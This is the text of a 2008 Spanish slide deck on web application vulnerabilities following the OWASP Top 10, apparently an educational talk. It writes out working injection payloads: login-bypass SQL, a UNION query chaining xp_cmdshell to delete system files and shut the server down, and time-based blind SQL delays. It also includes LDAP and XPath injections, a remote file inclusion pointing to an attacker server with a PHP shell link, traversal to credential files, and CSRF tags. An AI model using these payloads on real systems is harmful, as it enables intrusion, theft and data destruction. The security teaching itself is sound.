Date post: | 12-Jun-2015 |
Category: |
Technology |
Upload: | alexav8 |
View: | 996 times |
Download: | 2 times |
12/04/2008
1
The Open Web Application Security Project
THE TEN MOST CRITICAL WEB APPLICATION SECURITY VULNERABILITIES
►http://www.owasp.org/images/e/e8/OWASP_Top_10_2007.pdf
12/04/2008
2
► http://elladodelmal.blogspot.com/2007/08/hijacking-en-slashdot-step-by-step.html
12/04/2008
3
►SQL Injection
►LDAP Injection
►Xpath Injection
►…Y a ciegas…
►Blind SQL Injection
►Blind LDAP Injection
►Blind XPAth Injection
►Aplicaciones con mala comprobación de datos de entrada.
� Datos de usuario.
�Formularios
oText
oPassword
oTextarea
oList
omultilist
� Datos de llamadas a procedimientos.
�Links
�Funciones Scripts
�Actions
►Datos de usuario utilizados en consultas a base de datos.
►Mala construcción de consultas a bases de datos.
12/04/2008
4
►Permiten al atacante:
�Saltar restricciones de acceso.
�Elevación de privilegios.
�Extracción de información de la Base de Datos
�Parada de SGBDR.
�Ejecución de comandos en contexto usuario bd dentro del servidor.
►Ejemplo 1:
�Autenticación de usuario contra base de datos.
Select idusuario from tabla_usuarios
Where nombre_usuario=‘$usuario’
And clave=‘$clave’;
Usuario
Clave ****************************************************************
12/04/2008
5
►Ejemplo 1 (cont)
Select idusuario from tabla_usuarios
Where nombre_usuario=‘Administrador’
And clave=‘’ or ‘1’=‘1’;
Usuario
Clave
Administrador
‘ or ‘1’=‘1‘ or ‘1’=‘1‘ or ‘1’=‘1‘ or ‘1’=‘1
►Ejemplo 2:
�Acceso a información con procedimientos de listado.
http://www.miweb.com/prog.asp?parametro1=hola
Ó
http://www.miweb.com/prog.asp?parametro1=1
12/04/2008
6
►Ejemplo 2 (cont):
http://www.miweb.com/prog.asp?parametro1=‘ union select nombre, clave,1,1,1 from tabla_usuarios; otra instrucción; xp_cmdshell(“del c:\boot.ini”); shutdown --
Ó
http://www.miweb.com/prog.asp?parametro1=-1 union select .....; otra instrucción; --
►Escrita por Francisco Amato
►Obtener la estructura y datos completa de la BBDD.
�1 Injección para la estructura
�1 post para cada fila
�Totalmente automática
►Soporta “n” bases de datos.
►Descargable (app y source)
�http://www.infobyte.com.ar
12/04/2008
7
►Programa.asp?id=218 and 1=(select top 1 name from sysusers order by 1 desc)
►Microsoft OLE DB Provider for SQL Server error '80040e07' Conversion failed when converting the nvarchar value'sys' to data type int. /Programa.asp, line 8
►Programa.asp?id=218 and 1=(select top 1 name from sysusers where name<’sys’ order by 1 desc)
12/04/2008
8
12/04/2008
9
►La aplicación Web no muestra ningún mensaje de error.
►La aplicación no procesa nuestros comandos
�Select titulo from tabla where param=$param
►Se inyecta comandos y se busca hacer preguntas de Verdad o Mentira. Ejemplo:
�http://server/miphp.php?id=1 and 1=1
�http://server/miphp.php?id=1 and 1=2
12/04/2008
10
►¿Como reconocer un falso?
�Da un código de error
�Da una página de error
�Cambia el hash de la firma
�Cambia el árbol html
�Tarda más en responder
►Si la página reacciona de forma diferente a la Verdad y a la Mentira, entonces podemos extraer datos haciendo búsquedas:
�http://server/miphp.php?id=1 and 300>(selectascii(substring(username,1,1) from all_users where rownum<=1)
12/04/2008
11
►Si el contenido de la respuesta es idéntico en ambos casos, aún es posible conseguir nuestro objetivo variando condicionalmente el tiempo de respuesta del servidor
�Si la condición inyectada es verdadera, la aplicación tardará unos segundos en contestar
�Si la condición es falsa, la aplicación devolverá la misma respuesta, pero en el tiempo habitual
►Podemos utilizar las mismas técnicas de inyección descritas anteriormente
21
►¿Cómo podemos conseguir el retardo?
�Utilizando instrucciones de retardo implementadas en el propio gestor de bases de datos
�SQL Server: waitfor delay
�Oracle: dbms_lock.sleep
�MySQL: sleep
�Utilizando consultas pesadas que consuman muchos recursos del servidor (CPU o memoria)
�CROSS JOIN que involucren muchas tablas
�De cualquier otra forma (ej: xp_cmdshell 'ping…')
22
12/04/2008
12
►Instrucciones de retardo del propio SGBD
�Microsoft SQL Server
�; if (exists(select * from contrasena)) waitfor delay '0:0:5'
�Oracle
�; begin if (condicion) then dbms_lock.sleep(5); end if; end;
�MySQL (versión 5)
�and exists(select * from contrasena) and sleep(5)
�and exists(select * from contrasena) and benchmark(5000000,md5(rand()))=0
�Microsoft Access no tiene instrucciones de retardo
23
http://elladodelmal.blogspot.com/2007/06/blind-sql-injection-ii-de-hackeando-un.html
12/04/2008
13
►Consultas pesadas
�La clave para generar consultas pesadas está en realizar múltiples operaciones CROSS JOIN
�Ejemplo: Una tabla con 4 registros y 2 columnas combinada consigo misma 10 veces, genera un resultado de 20 columnas y más de un millón de filas
JoinsJoins FilasFilas ColumnasColumnas
1 4 2
2 16 4
3 64 6
4 256 8
5 1024 10
►Consultas pesadas: estructura
�SELECT COUNT(*) FROM tabla T1, tabla T2, …, tabla Tn
�Donde el número de tablas implicadas en el producto cartesiano (CROSS JOIN) sea suficientemente grande como para generar un retardo medible
�Dependiendo del SGDB y de cómo realice la comprobación de las condiciones lógicas introducidas con AND, deberemos establecer nuestra subconsultaSQL antes o después del operador lógico
�AND subconsulta AND consulta_pesada
�AND consulta_pesada AND subconsulta
�http://www.microsoft.com/latam/technet/articulos/articulos_seguridad/2007/septiembre/sv0907.mspx
26
12/04/2008
14
►Consultas pesadas: tablas recomendadas
�Microsoft SQL Server
�sysusers
�Oracle
�all_users
�MySQL (versión 5)
�information_schema.columns
�Microsoft Access
�MSysAccessObjects (versiones 97 y 2000)
�MSysAccessStorage (versiones 2003 y 2007)
27
Verdad: La consulta dura 6 segundos.
12/04/2008
15
Falso: La consulta dura 1 segundo.
12/04/2008
16
12/04/2008
17
►Absinthe: Extrae toda la información de bases de datos MSSQL, PostgreSQL, Sybase y Oracle utilizando suma linear de valores ASCII.
►Absinthe: Extrae toda la información de bases de datos MSSQL, PostgreSQL, Sybase y Oracle utilizando suma linear de valores ASCII.
12/04/2008
18
12/04/2008
19
12/04/2008
20
►Sniffing de Passwords LDAP
►Recogida de certificados servidores LDAP-s
►MITM LDAP-s
►LDAP: Base de datos Jerarquica
�Clases
�Objetos
�Herencia
�Contenedores
►Búsqueda: LDAP Search Filters
12/04/2008
21
filter = LPAREN filtercomp RPAREN
filtercomp = and / or / not / item
and = AMPERSAND filterlist
or = VERTBAR filterlist
not = EXCLAMATION filter
filterlist = 1*filter
item = simple / present / substring / extensible
simple = attr filtertype assertionvalue
filtertype = equal / approx / greaterorequal / lessorequal
equal = EQUALS
approx = TILDE EQUALS
greaterorequal = RANGLE EQUALS lessorequal = LANGLE EQUALS
(&(atributo1=valor1)(atributo2=valor2))
Ejemplo:
(&(directorio=nombre_directorio)(nivel_seguridad=bajo))
Inyección:
(&(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
12/04/2008
22
(|(atributo1=valor1)(atributo2=valor2))
Ejemplo:
(|(cn=D*)(ou=Groups))
Inyección:
(|(cn=void)(uid=*))(ou=Groups))
►Tiene lógica binaria
►Tiene soporte para booleanización:
�Comodín: *
�Reducción charset: *a*
�Despliegue: a*
�Relacionales:
�>=
�<=
�~=
�=
12/04/2008
23
►Certezas absolutas (RFC 4256)
�Absolute FALSE (|)
�Absolute TRUE (&)
►Anomalías:
�¿NOT absoluto? (!) -> equivalente a !
�Caracteres fuera del alfabeto
�Ñ* -> equivalente a *
�Ç* -> equivalente a *
�** -> equivalente a ¡¡ERROR!!
12/04/2008
24
Explotación
Dada la siguiente consulta Xpath:
Inyectamos:
La condición quedaría:
User: abc' or 1=1 or 'a'='b
Pass: k
username/text()=‘abc' or 1=1 or 'a'='b' and password/text()=‘k'
string(//user[username/text()=‘romansoft' and password/text()='!dSR']/uid/text())
Condición Qué devolverDónde buscar
►Vulnerabilidad propia de páginas PHP dinámicas que permite enlace de archivos remotos situados en otros servidores
►Se debe a una mala programación o uso de la función include()
►Esta vulnerabilidad no se da en páginas programadas en un lenguaje que no permita la inclusión de ficheros ajenos al servidor
12/04/2008
25
►La vulnerabilidad es producida por código semejante a este
►En páginas de este tipo se puede incluir ficheros que estén en nuestro servidor
$page = $_GET['page'];include($page);
http://victima.com/pagvuln.php?page=http://[misitio]/miFichero
►Existen herramientas que permite explorar un sitio Web en busca de este tipo de vulnerabilidades (rpvs)
12/04/2008
26
►Mediante las shell PHP se pueden ejecutar comandos en una página Web
►Usando RFI se puede incluir un fichero que ejecute comandos, tales como listar directorios, obtener y colocar ficheros, etc.
►http://www.acamandola.com/safe.txt
►“El cucharón”
�Rutas a ficheros no controladas
�File=../../../../etc/passw
�id=…/../windows/repair/sam
12/04/2008
27
►Session Riding, One-Click Attacks, Cross Site Reference Forgery, Hostile Linking, Automation Attack o XSRF.
►Por medio de una injección se fuerza la ejecución de acciones automáticas por parte del usuario.
<img src="http://www.example.com/logout.php">
<img src="http://www.example.com/transfer.do?
frmAcct=document.form.frmAcct &toAcct=4345754
&toSWIFTid=434343&amt=3434.43">
12/04/2008
28
►Se deja información sensible sin asegurar
►Se muestran mensajes de error detallados
►7.- Autenticación Rota y Gestión de Sesión
�Partes sin comprobar autenticación
�No procesos de logout seguro.
►8.- Almacenamiento con Criptografía insegura
�Datos sin cifrar o mal cifrados
►9.- Comunicaciones Inseguras
►10.-URLs mal restringidas
�Pueden ser adivinadas o “bruteforceadas”
12/04/2008
29
►Chema Alonso
►http://elladodelmal.blogspot.com
►http://www.informatica64.com
►Francisco Amato
►Infobyte
►http://www.infobyte.com.ar
November 2006 58
Technews I64. Suscríbete Gratis en
http://www.informatica64.com/boletines
12/04/2008
30
Blind SQL Injection
http://elladodelmal.blogspot.com/2007/07/proteccin-contra-las-tcnicas-de-blind.html
Time-Bases Blind SQL Injection with heavy Queries
http://www.microsoft.com/latam/technet/articulos/articulos_seguridad/2007/septiembre/sv0907.mspx
LDAP Injection & Blind LDAP Injection
http://elladodelmal.blogspot.com/2007/10/ldap-injection-blind-ldap-injection_9021.html
XPath injection in XML databases
http://palisade.plynt.com/issues/2005Jul/xpath-injection/
Blind XPath Injection
http://packetstormsecurity.org/papers/bypass/Blind_XPath_Injection_20040518.pdf
► Milw0rm (Webapps exploits)
http://milw0rm.com/webapps.php
- OWASP
http://www.owasp.org